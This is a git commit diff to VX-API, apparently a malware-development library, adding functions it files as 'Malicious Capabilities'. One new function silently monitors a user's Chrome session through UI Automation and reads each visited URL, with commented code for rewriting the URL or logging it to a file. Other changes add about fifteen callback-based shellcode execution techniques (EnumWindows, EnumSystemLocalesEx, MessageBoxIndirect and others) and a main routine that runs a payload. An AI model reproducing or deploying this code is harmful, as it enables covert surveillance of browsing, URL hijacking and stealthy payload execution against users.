new code

new malcode + helper

README.md

@@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter]
   
 # VX-API
 
-Version: 2.0.285
+Version: 2.0.293
 
 Developer: smelly__vx
   
@@ -109,6 +109,7 @@ You're free to use this in any manner you please. You do not need to use this en
 | IsDllLoaded | smelly__vx | Helper Functions | 
 | TryLoadDllMultiMethod | smelly__vx | Helper Functions |
 | CreateThreadAndWaitForCompletion | smelly__vx | Helper Functions |
+| GetProcessBinaryNameFromHwndW | smelly__vx | Helper Functions |
 | GetKUserSharedData | Geoff Chappell | Library Loading |
 | GetModuleHandleEx2 | smelly__vx | Library Loading |
 | GetPeb | 29a | Library Loading |
@@ -133,6 +134,7 @@ You're free to use this in any manner you please. You do not need to use this en
 | MpfGetLsaPidFromRegistry | modexp | Malicious Capability |
 | MpfGetLsaPidFromNamedPipe | modexp | Malicious Capability |
 | ShellcodeExecutionViaFunctionCallbackMain | alfarom256, aahmad097| Malicious Capability |
+| MpfComMonitorChromeSessionOnce | smelly__vx | Malicious Capability |
 
 
 # Todo list
@@ -157,6 +159,8 @@ You're free to use this in any manner you please. You do not need to use this en
 | GetPidFromWindowsTerminalService | TryDllMultiMethod | N/A |
 | GetCurrentUserSid | TryDllMultiMethod | N/A |
 | NtQueryOpenSubKeysEx | admin required | N/A |
+| GetProcessBinaryNameFromHwndW | make A variant | N/A |
+| MpfComMonitorChromeSessionOnce | Usability improvements needed | N/A |
 | ~~ShellcodeExecViaCertFindChainInStore~~ | ~~Buggy, unstable~~ | October 23rd, 2022 |
 | ~~RecursiveFindFile~~ | ~~TryDllMultiMethod~~ | October 21th, 2022 |
 | ~~UrlDownloadToFileSynchronous~~ | ~~TryDllMultiMethod~~ | October 21th, 2022 |

VX-API/GetProcessBinaryNameFromHwnd.cpp

@@ -0,0 +1,35 @@
+#include "Win32Helper.h"
+
+BOOL GetProcessBinaryNameFromHwndW(_In_ HWND ProcessHwnd, _Inout_ PWCHAR BinaryName, _In_ DWORD BufferSize)
+{
+	WCHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 };
+	DWORD ProcessId = ERROR_SUCCESS;
+	HANDLE hHandle = NULL;
+	BOOL bFlag = FALSE;
+	DWORD dwError = 0;
+	DWORD dwLength = MAX_PATH * sizeof(WCHAR);
+
+	GetWindowThreadProcessId(ProcessHwnd, &ProcessId);
+
+	hHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessId);
+	if (hHandle == NULL)
+		return FALSE;
+
+	if (!QueryFullProcessImageNameW(hHandle, 0, Buffer, &dwLength))
+		goto EXIT_ROUTINE;
+
+	if (MAX_PATH * sizeof(WCHAR) > BufferSize)
+		goto EXIT_ROUTINE;
+
+	if (StringCopyW(BinaryName, Buffer) == NULL)
+		goto EXIT_ROUTINE;
+
+	bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+	if (hHandle)
+		CloseHandle(hHandle);
+
+	return bFlag;
+}

VX-API/Main.cpp

@@ -45,10 +45,10 @@ int main(VOID)
 	SHELLCODE_EXECUTION_INFORMATION Sei = { 0 };
 	Sei.Payload = GlobalOpenCalcPayload;
 	Sei.dwLengthOfPayloadInBytes = 277;
-	Sei.MethodEnum = E_ENUMFONTFAMILIESEXW;
+	Sei.MethodEnum = E_MESSAGEBOXINDIRECT;
 
 	ShellcodeExecutionViaFunctionCallbackMain(&Sei);
-
+	//MpfComMonitorChromeSessionOnce();
 	
 
 	return dwError;

VX-API/MpfComMonitorChromeSessionOnce.cpp

@@ -0,0 +1,235 @@
+#include "Win32Helper.h"
+#include <AtlBase.h>
+#include <AtlCom.h>
+#include <UIAutomation.h>
+
+
+
+class EventHandler : public IUIAutomationFocusChangedEventHandler
+{
+private:
+	LONG ReferenceIndex;
+public:
+	INT EventIndex;
+	IUIAutomationElement* Pane = NULL;
+	IUIAutomationCondition* UrlContext = NULL;
+
+	EventHandler() : ReferenceIndex(1), EventIndex(0)
+	{
+	}
+
+	ULONG STDMETHODCALLTYPE AddRef()
+	{
+		return InterlockedIncrement(&ReferenceIndex);
+	}
+
+	ULONG STDMETHODCALLTYPE Release()
+	{
+		ULONG Result = InterlockedDecrement(&ReferenceIndex);
+		if (Result != ERROR_SUCCESS)
+			return Result;
+
+		if (Pane)
+			Pane->Release();
+
+		if (UrlContext)
+			UrlContext->Release();
+
+		delete this;
+		return Result;
+	}
+
+	HRESULT STDMETHODCALLTYPE QueryInterface(REFIID Riid, PVOID* Interface)
+	{
+		if (Riid == __uuidof(IUnknown))
+			*Interface = (IUIAutomationFocusChangedEventHandler*)(this);
+		else if (Riid == __uuidof(IUIAutomationFocusChangedEventHandler))
+			*Interface = (IUIAutomationFocusChangedEventHandler*)(this);
+		else
+		{
+			*Interface = NULL;
+			return E_NOINTERFACE;
+		}
+		this->AddRef();
+		return S_OK;
+	}
+
+	HRESULT STDMETHODCALLTYPE HandleFocusChangedEvent(IUIAutomationElement* pSender)
+	{
+		HRESULT Result;
+		IUIAutomationElement* Url = NULL;
+		IValueProvider* Provider = NULL;
+		CComVariant Variant;
+
+		EventIndex++;
+
+		Result = Pane->FindFirst(TreeScope_Descendants, UrlContext, &Url);
+		if (!SUCCEEDED(Result))
+			goto EXIT_ROUTINE;
+
+		if(Url == NULL)
+			goto EXIT_ROUTINE;
+
+		Result = Url->GetCurrentPropertyValue(UIA_ValueValuePropertyId, &Variant);
+		if (!SUCCEEDED(Result))
+			goto EXIT_ROUTINE;
+
+		if (!Variant.bstrVal)
+			goto EXIT_ROUTINE;
+
+		/*
+		 
+		
+		
+		1. Gets the current URL
+		Result = Url->GetCurrentPattern(UIA_ValuePatternId, (IUnknown**)&Provider);
+		if (!SUCCEEDED(Result))
+			goto EXIT_ROUTINE;
+			
+		
+		2. Modify the URL to whatever you'd like
+		Provider->SetValue(L"google.com");
+
+		3. Send ENTER key to change URL
+		INPUT Input[2] = { INPUT_KEYBOARD };
+		Input[0].ki.wVk = VK_RETURN;
+		Input[1] = Input[0];
+		Input[1].ki.dwFlags |= KEYEVENTF_KEYUP;
+		SendInput(2, Input, sizeof(INPUT));
+	
+			
+		OR write to a file?:)	
+			
+		*/
+
+		wprintf(L"Url: %ws\r\n", Variant.bstrVal);
+
+	EXIT_ROUTINE:
+
+		if (Url)
+			Url->Release();
+
+		if (Provider)
+			Provider->Release();
+
+		return S_OK;
+	}
+};
+
+DWORD MpfComMonitorChromeSessionOnce(VOID)
+{
+	HWND hChrome = NULL;
+	DWORD dwError = ERROR_SUCCESS;
+	INT Length = 0;
+	BOOL bFlag = FALSE, bHandlerPresent = FALSE;
+	HRESULT Result = ERROR_SUCCESS;
+	IUIAutomation *Automaton = NULL;
+	IUIAutomationElement* Element = NULL;
+	IUIAutomationCondition* Condition = NULL;
+	IUIAutomationElementArray* Array = NULL;
+	EventHandler *EventHandlerObject = NULL;
+
+
+	EventHandlerObject = new EventHandler();
+	if (!EventHandlerObject)
+		return -1;
+
+	Result = CoInitializeEx(NULL, COINIT_MULTITHREADED);
+	if (!SUCCEEDED(Result))
+		goto EXIT_ROUTINE;
+
+	for (;;)
+	{
+		WCHAR Buffer[MAX_PATH * sizeof(WCHAR)] = { 0 };
+
+		if (!GetProcessBinaryNameFromHwndW(GetForegroundWindow(), Buffer, MAX_PATH * sizeof(WCHAR)))
+			continue;
+
+		if (StringFindSubstringW(Buffer, (PWCHAR)L"chrome.exe") != NULL)
+			break;
+	}
+
+	hChrome = FindWindowExW(NULL, hChrome, L"Chrome_WidgetWin_1", NULL);
+	if (hChrome == NULL)
+		goto EXIT_ROUTINE;
+
+	Result = CoCreateInstance(CLSID_CUIAutomation, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&Automaton));
+	if (!SUCCEEDED(Result))
+		goto EXIT_ROUTINE;
+
+	Result = Automaton->ElementFromHandle(hChrome, &Element);
+	if (!SUCCEEDED(Result))
+		goto EXIT_ROUTINE;
+
+	Result = Automaton->CreatePropertyCondition(UIA_ControlTypePropertyId, CComVariant(UIA_PaneControlTypeId), &Condition);
+	if (!SUCCEEDED(Result))
+		goto EXIT_ROUTINE;
+
+	Result = Element->FindAll(TreeScope_Children, Condition, &Array);
+	if (!SUCCEEDED(Result))
+		goto EXIT_ROUTINE;
+
+	Array->get_Length(&Length);
+	for (INT i = 0; i < Length; i++)
+	{
+		CComBSTR NameObject;
+
+		Result = Array->GetElement(i, &EventHandlerObject->Pane);
+		if (!SUCCEEDED(Result))
+			goto EXIT_ROUTINE;
+
+		EventHandlerObject->Pane->get_CurrentName(&NameObject);
+		if (!SUCCEEDED(Result))
+			goto EXIT_ROUTINE;
+
+		if (StringCompareW(NameObject, L"Google Chrome") == ERROR_SUCCESS)
+			break;
+
+		EventHandlerObject->Pane->Release();
+	}
+
+	if (EventHandlerObject->Pane == NULL)
+		goto EXIT_ROUTINE;
+
+	Result = Automaton->CreatePropertyCondition(UIA_ControlTypePropertyId, CComVariant(UIA_EditControlTypeId), &EventHandlerObject->UrlContext);
+	if (!SUCCEEDED(Result))
+		goto EXIT_ROUTINE;
+
+	Result = Automaton->AddFocusChangedEventHandler(NULL, (IUIAutomationFocusChangedEventHandler*)EventHandlerObject);
+	if (!SUCCEEDED(Result))
+		goto EXIT_ROUTINE;
+	else
+		bHandlerPresent = TRUE;
+
+	
+	for (;;) { Sleep(10); } //let event handler work
+
+	bFlag = TRUE;
+
+EXIT_ROUTINE:
+
+	if (!bFlag)
+		dwError = GetLastErrorFromTeb();
+
+	if (Element)
+		Element->Release();
+
+	if (Array)
+		Array->Release();
+
+	if (Condition)
+		Condition->Release();
+
+	if(bHandlerPresent)
+		Automaton->RemoveFocusChangedEventHandler((IUIAutomationFocusChangedEventHandler*)EventHandlerObject);
+
+	if (Automaton)
+		Automaton->Release();
+
+	if (EventHandlerObject)
+		EventHandlerObject->Release();
+
+	CoUninitialize();
+
+	return dwError;
+}

VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp

@@ -146,19 +146,121 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
 		case E_ENUMFONTFAMILIESEXW:
 		{
 			LOGFONTW Font = { 0 };
-			HDC Dc = NULL;
-
 			Font.lfCharSet = DEFAULT_CHARSET;
-			Dc = GetDC(NULL);
-			if (Dc == NULL)
-				goto EXIT_ROUTINE;
 
-			if (!EnumFontFamiliesExW(Dc, &Font, (FONTENUMPROCW)BinAddress, NULL, NULL))
+			if (!EnumFontFamiliesExW(GetDC(NULL), &Font, (FONTENUMPROCW)BinAddress, NULL, NULL))
 				goto EXIT_ROUTINE;
 
 			break;
 		}
-		
+
+		case E_ENUMFONTSW:
+		{
+			EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)BinAddress, NULL);
+			break;
+		}
+
+		case E_ENUMICMPROFILESW:
+		{
+			goto EXIT_ROUTINE;
+		}
+
+		case E_ENUMLANGUAGEGROUPLOCALESW:
+		{
+			EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)BinAddress, LGRPID_ARABIC, 0, 0);
+			break;
+		}
+
+		case E_ENUMOBJECTS:
+		{
+			LOGFONTW Font = { 0 };
+			Font.lfCharSet = DEFAULT_CHARSET;
+
+			EnumObjects(GetDC(NULL), OBJ_BRUSH, (GOBJENUMPROC)BinAddress, NULL);
+			break;
+		}
+
+		case E_ENUMPROPSEXW:
+		{
+			goto EXIT_ROUTINE;
+		}
+
+		case E_ENUMRESOURCETYPESEXW:
+		{
+			EnumResourceTypesExW(NULL, (ENUMRESTYPEPROCW)BinAddress, NULL, RESOURCE_ENUM_VALIDATE, NULL);
+			break;
+		}
+
+		case E_ENUMSYSTEMCODEPAGES:
+		{
+			EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)BinAddress, CP_INSTALLED);
+			break;
+		}
+
+		case E_ENUMSYSTEMGEOID:
+		{
+			EnumSystemGeoID(GEOCLASS_NATION, 0, (GEO_ENUMPROC)BinAddress);
+			break;
+		}
+
+		case E_ENUMSYSTEMLANGUAGEGROUPS:
+		{
+			EnumSystemLanguageGroupsW((LANGUAGEGROUP_ENUMPROCW)BinAddress, LGRPID_SUPPORTED, NULL);
+			break;
+		}
+
+		case E_ENUMSYSTEMLOCALESEX:
+		{
+			EnumSystemLocalesEx((LOCALE_ENUMPROCEX)BinAddress, LOCALE_ALL, NULL, NULL);
+			break;
+		}
+
+		case E_ENUMTHREADWINDOWS:
+		{
+			EnumThreadWindows(0, (WNDENUMPROC)BinAddress, NULL);
+			break;
+		}
+
+		case E_ENUMTIMEFORMATSEX:
+		{
+			EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)BinAddress, LOCALE_NAME_SYSTEM_DEFAULT, TIME_NOSECONDS, NULL);
+			break;
+		}
+
+		case E_ENUMUILANGUAGESW:
+		{
+			EnumUILanguagesW((UILANGUAGE_ENUMPROCW)BinAddress, MUI_LANGUAGE_ID, NULL);
+			break;
+		}
+
+		case E_ENUMWINDOWSTATIONSW:
+		{
+			EnumWindowStationsW((WINSTAENUMPROCW)BinAddress, NULL);
+			break;
+		}
+
+		case E_ENUMWINDOWS:
+		{
+			EnumWindows((WNDENUMPROC)BinAddress, NULL);
+			break;
+		}
+
+		case E_ENUMPROPSW:
+		{
+			goto EXIT_ROUTINE;
+		}
+
+		case E_MESSAGEBOXINDIRECT:
+		{
+			MSGBOXPARAMS MessageBoxParams = { 0 };
+			MessageBoxParams.cbSize = sizeof(MSGBOXPARAMS);
+			MessageBoxParams.dwStyle = MB_HELP;
+			MessageBoxParams.lpfnMsgBoxCallback = (MSGBOXCALLBACK)BinAddress;
+			MessageBoxParams.lpszText = L"[Unstable] Help Executes Shellcode";
+
+			MessageBoxIndirect(&MessageBoxParams);
+		}
+
 		default:
 			goto EXIT_ROUTINE;
 

VX-API/VX-API.vcxproj

@@ -183,6 +183,7 @@
     <ClCompile Include="GetProcAddressSdbm.cpp" />
     <ClCompile Include="GetProcAddressSuperFastHash.cpp" />
     <ClCompile Include="GetProcAddressUnknownGenericHash1.cpp" />
+    <ClCompile Include="GetProcessBinaryNameFromHwnd.cpp" />
     <ClCompile Include="GetProcessHeapFromTeb.cpp" />
     <ClCompile Include="GetProcessPathFromLoaderLoadModule.cpp" />
     <ClCompile Include="GetProcessPathFromUserProcessParameters.cpp" />
@@ -208,6 +209,7 @@
     <ClCompile Include="Main.cpp" />
     <ClCompile Include="MasqueradePebAsExplorer.cpp" />
     <ClCompile Include="MpfComModifyShortcutTarget.cpp" />
+    <ClCompile Include="MpfComMonitorChromeSessionOnce.cpp" />
     <ClCompile Include="MpfComVssDeleteShadowVolumeBackups.cpp" />
     <ClCompile Include="MpfGetLsaPidFromNamedPipe.cpp" />
     <ClCompile Include="MpfGetLsaPidFromRegistry.cpp" />

VX-API/VX-API.vcxproj.filters

@@ -390,6 +390,12 @@
     <ClCompile Include="ShellcodeExecutionViaFunctionCallbackMain.cpp">
       <Filter>Source Files\Windows API Helper Functions\Malicious Capabilities</Filter>
     </ClCompile>
+    <ClCompile Include="MpfComMonitorChromeSessionOnce.cpp">
+      <Filter>Source Files\Windows API Helper Functions\Malicious Capabilities</Filter>
+    </ClCompile>
+    <ClCompile Include="GetProcessBinaryNameFromHwnd.cpp">
+      <Filter>Source Files\Windows API Helper Functions\Helper Functions</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="Internal.h">

VX-API/Win32Helper.h

@@ -41,8 +41,26 @@ typedef enum SHELLCODE_EXECUTION_METHOD {
     E_ENUMDESKTOPSW, //8
     E_ENUMDIRTREEW, //9
     E_ENUMDISPLAYMONITORS, //10
-    E_ENUMFONTFAMILIESEXW //11
+    E_ENUMFONTFAMILIESEXW, //11
+    E_ENUMFONTSW, //12
+    E_ENUMICMPROFILESW, //13 NOT IMPLEMENTED!
+    E_ENUMLANGUAGEGROUPLOCALESW, //14
+    E_ENUMOBJECTS, //15
+    E_ENUMPROPSEXW, //16 NOT IMPLEMENTED!
+    E_ENUMRESOURCETYPESEXW, //17
+    E_ENUMSYSTEMCODEPAGES, //18
+    E_ENUMSYSTEMGEOID, //19
+    E_ENUMSYSTEMLANGUAGEGROUPS, //20
+    E_ENUMSYSTEMLOCALESEX, //20
+    E_ENUMTHREADWINDOWS, //21
+    E_ENUMTIMEFORMATSEX, //22
+    E_ENUMUILANGUAGESW, //23
+    E_ENUMWINDOWSTATIONSW, //24
+    E_ENUMWINDOWS, //25
+    E_ENUMPROPSW, //26 NOT IMPLEMENTED!
+    E_MESSAGEBOXINDIRECT //27 UNSTABLE
 }SHELLCODE_EXECUTION_METHOD, *PSHELLCODE_EXECUTION_METHOD;
+
 typedef struct __SHELLCODE_EXECUTION_INFORMATION {
     LPBYTE Payload;
     DWORD dwLengthOfPayloadInBytes;
@@ -153,6 +171,7 @@ BOOL IsDllLoadedA(_In_ LPCSTR DllName);
 HMODULE TryLoadDllMultiMethodW(_In_ PWCHAR DllName);
 HMODULE TryLoadDllMultiMethodA(_In_ PCHAR DllName);
 DWORD CreateThreadAndWaitForCompletion(_In_ LPTHREAD_START_ROUTINE StartAddress, _In_ LPVOID Parameters, _In_ DWORD dwMilliseconds);
+BOOL GetProcessBinaryNameFromHwndW(_In_ HWND ProcessHwnd, _Inout_ PWCHAR BinaryName, _In_ DWORD BufferSize);
 
 
 
@@ -201,6 +220,7 @@ DWORD MpfGetLsaPidFromRegistry(VOID);
 DWORD MpfGetLsaPidFromServiceManager(VOID);
 DWORD MpfGetLsaPidFromNamedPipe(VOID);
 BOOL ShellcodeExecutionViaFunctionCallbackMain(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei);
+DWORD MpfComMonitorChromeSessionOnce(VOID);